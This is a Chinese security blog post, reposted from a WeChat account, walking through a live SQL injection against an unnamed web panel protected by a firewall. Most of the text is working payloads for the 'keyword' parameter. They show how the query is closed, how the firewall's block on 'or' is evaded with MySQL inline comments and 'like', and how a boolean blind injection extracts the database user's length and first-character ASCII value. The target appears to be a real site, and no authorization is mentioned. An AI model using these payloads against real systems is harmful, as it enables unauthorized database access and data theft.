实战SQL注入某面板防火墙绕过

admin 2026年5月6日12:25:26评论60 views字数 844阅读2分48秒阅读模式

通过手动测试发现SQL注入漏洞,尝试使用%号、引号和括号闭合,但or被拦截。最终通过条件构造绕过防火墙,成功获取数据库用户名信息。

近期的一次SQL注入实战,通过手动测试发现站点存在SQL注入漏洞,首先在探测的时候,输入单引号查看效果

实战SQL注入某面板防火墙绕过

再输入单引号进行闭合

实战SQL注入某面板防火墙绕过

通过报错信息可以直到,想要达到闭合条件最好还是使用%号、引号和括号,尝试闭合配合注释

实战SQL注入某面板防火墙绕过

尝试使用布尔注入的时候,发现被拦截了

实战SQL注入某面板防火墙绕过

但是去掉or后面的字符就不拦截keyword=123%'+or+)--+-

实战SQL注入某面板防火墙绕过

尝试对or使用||、&、等编码转换,都会被拦截,似乎只要or后面跟东西就被拦截,灵机一动,发现可以实现布尔条件,并且数据发生明显变化keyword=123%'+or+'1')--+-

实战SQL注入某面板防火墙绕过

看似成功,实则拦截keyword=123%'+or+'1'='1')--+-

实战SQL注入某面板防火墙绕过

不过并没有什么用,这个时候就比较容易了,一手keyword=123%'+or+'1'=/*!1*/)--+-

实战SQL注入某面板防火墙绕过

尝试条件为假的时候keyword=123%'+or+'1'=/*!2*/)--+-

实战SQL注入某面板防火墙绕过

继续下一步的时候,发现似乎只能输入纯数字,字符串不行、函数也不行

keyword=123%'+or+'1'=/*!length()*/)--+-

实战SQL注入某面板防火墙绕过

keyword=123%'+or+'1'=/*!'1'*/)--+-

实战SQL注入某面板防火墙绕过

这更好绕keyword=123%'+or+'1'+like+/*!length(1)*/)--+-

实战SQL注入某面板防火墙绕过

这个时候再构造个假条件keyword=123%'+or+'1'+like+/*!length(12)*/)--+-

实战SQL注入某面板防火墙绕过

没问题,此时尝试获取数据库当前用户名长度

keyword=123%'+or+'25'+like+/*!length(user())*/)--+-

实战SQL注入某面板防火墙绕过

获取当前数据库用户名第一位对应的ascii值

keyword=123%'+or+'100'+like+/*!ascii(mid(user(),1,1))*/)--+-

实战SQL注入某面板防火墙绕过

原文始发于微信公众号(我不懂安全):实战SQL注入某面板防火墙绕过

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2026年5月6日12:25:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战SQL注入某面板防火墙绕过http://cn-sec.com/archives/5218959.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息